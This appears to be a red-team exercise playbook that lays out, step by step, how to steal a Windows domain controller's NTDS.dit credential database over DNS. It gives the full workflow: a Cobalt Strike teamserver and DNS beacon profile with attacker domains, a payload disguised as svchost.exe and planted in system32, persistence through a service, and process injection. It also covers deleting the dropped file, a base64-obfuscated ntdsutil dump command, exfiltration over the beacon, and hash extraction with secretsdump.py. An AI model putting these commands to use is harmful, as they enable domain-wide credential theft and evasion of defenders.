Team 3 PlayBook: DNS Exfiltration of the NTDS.dit File

1. Access to the domain controller achieved in the previous step
2. Leverage Cobalt Strike to deliver payload
   1. The DNS beacons in this environment have been configured specifically to a number of attributable IP’s. These IP’s all currently NAT to 172.30.13.30. Team 3 will stand up this server for the purpose of DNS, other teams will connect via their local clients to affect their assigned blue spaces discussed later in this guide.
   2. Team 3 will execute the following to initiate the team server:
      1. In the Cobalt Strike directory of the Kali system the command is “./teamserver 172.30.13.30 password profiles/DNS”
      2. Malleable DNS profile will share the HTTP/HTTPS configurations as specified by other teams with the following added for DNS:
         * dns-beacon {

# Options moved into 'dns-beacon' group in 4.3:

set dns\_idle "66.76.76.15";

set dns\_max\_txt "20";

set dns\_sleep "0";

set dns\_ttl "5";

set maxdns "255";

set dns\_stager\_prepend ".wwwds.";

set dns\_stager\_subhost ".e2867.dsca.";

# DNS subhost override options added in 4.3:

set beacon "d-bx.";

set get\_A "d-1ax.";

set get\_AAAA "d-4ax.";

set get\_TXT "d-1tx.";

set put\_metadata "d-1mx";

set put\_output "d-1ox.";

set ns\_response "A";

}

This Profile will be available

* 1. Team 3 will build a listener as a DNS beacon with all compromised domains listed in the hosts window. Other teams will build attacks for their respective blue sections referencing this listener:
     1. Connect to the teamserver at 172.30.13.30 via the cobaltstrike client gui on your kali instance
     2. Add a listener by selecting the cobaltstrike button on the top left of your screen
     3. Select listeners from the drop down menu. This will spawn a tab at the bottom of the screen on your cobalt strike client
     4. Select the listener tab and click the add button along the bottom edge
     5. In the “New Listner” pop up begin filling out the specifics for your listener
        + Name: [something relevant and hackery]
        + Payload: Beacon DNS
        + DNS Hosts: add the following domains,
          1. Thebeaconsarelit.com
          2. Thedreddreport.com
          3. Mordor.com
          4. Floridaman.com
          5. Comiccom.com
          6. Shotinthedark.com
          7. Halopower.com
        + Host Rotation Strategy: random
        + DNS Host (stager): halopower.com
        + Profile: default
     6. Save the listener
  2. Build the attack in Cobalt Strike and host for other red team elements to use.
     1. Select ‘Attacks’ window on the top of your cobalt strike window
     2. Navigate drop down menus to packages -> Windows executable (s)
        + Select DNS beacon listener as listener.
        + Set output to windows service exe
        + Check use x64 payload box
        + Generate
     3. Save payload as a discrete name to execute under (i.e. svchost.exe, hpupdate.exe, puppet.exe, puppetmaster.exe, VMwareool.exe etc.)
        + Store in …/cobaltstrike/Payloads/

1. Navigate to C:\Windows\system32 and deliver the created payload
   * 1. Deliver via previous MSEL’s domain controller cracking/ chain of cobalt strike beacons.
        + Assuming cobalt strike we have used the upload command. Metasploit has similar mechanics.
        + The end state is to have the payload in system32, the CS command is:

Upload /root/Desktop/cobaltstrike/Payloads/[payload.exe]

1. Exfiltration of required data (Work in Progress)
   1. Detonate payload to established the beacon
      1. Thorough CS beacon:
         * Shell sc create scvhost binpath= "cmd.exe /k C:\windows\system32\[payload.exe]" start="auto"
         * Shell sc start scvhost
   2. Inject into less risky process
      1. Right click beacon in the center window of the cs client and navigate to explore -> process list
      2. Click the processes tab corresponding to your beacon in the CS client.
      3. Inside the processes tab spawned find a safe svchost.exe to inject into
         * Find a PID around 800-1500
         * Click said named process and then press inject
         * Attach to the established DNS beacon
         * A new beacon should open up in the client. Interact with the beacon to load metadata. The process and PID should match the process you injected into.
      4. Kill the initial process and service.
         * Powerpick stop-service -force scvhost
         * Powerpick stop-process -id [PID indicated next to beacon in CS client] -Force
2. Remove dropped .exe
   1. Delete dropped .exe.
      1. Powerpick ri C:\Windows\System32\[payload.exe]
      2. Cleaning up of any additional tracks (i.e., Windows Event Logs, prefetch, etc.) is up to team discretion.
3. Preform actual exfil. These steps are FYSA. All you need to do is run the entire bolded command starting with powerpick and ending in | powershell through your beacon to be successful.

* On a windows DC for testing, create the encoded commands by performing the following in powershell:
  + Create a variable for the commands called "string" to encode:
  + $string = 'ntdsutil "activate instance ntds" ifm "create Full C:\users\public\desktop\chrome" q q q;Compress-Archive -Path "C:\users\public\desktop\chrome" -DestinationPath "C:\users\public\desktop\chrome";ri c:/users/public/desktop/chrome -R'
* Encode the string variable:
  + $code = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))
* Get encoded command string by running $code
  + Copy encoded string and paste into the following command between the ''[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('')) | powershell
  + Should look something like this (the encoded below is already confirmed to perform the required actions mentioned above when run through powerpick:

**powerpick [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('')) | powershell**

* + This will use ntdsutil to dump the ntds.dit to c:\users\public\desktop\chrome.zip the contents to a file called c:\users\public\desktop\chrome.zip, remove the directory created by the extraction c:\users\public\desktop\chrome
* copy the c:\users\public\desktop\chrome.zip through the DNS Beacon
  + download C:\users\public\desktop\chrome.zip
* Then remove the chrome.zip file:
  + rm C:\users\public\desktop\chrome.zip

1. unzip chrome.zip and use secretsdump.py to extract hashes
   1. python3 secretsdump.py –ntds /root/cobaltstrike/downloads/ndts.dit –system /root/cobaltstrike/downloads/system –hashes LMHASH:NTHASH LOCAL –outputfile hashesfromdc
2. Crack hashes
3. Collect Blue Team tears.

Assumptions

1. Team two cracking the DC provides enough access to dump and execute our CS payload through CS or Metasploit.
2. DNS server administration is completed in the whitespace allowing us to create a number of useable bad domains.
3. Deconflict with team 1 DNS c2. How are you guys doing this, do you need anything from us?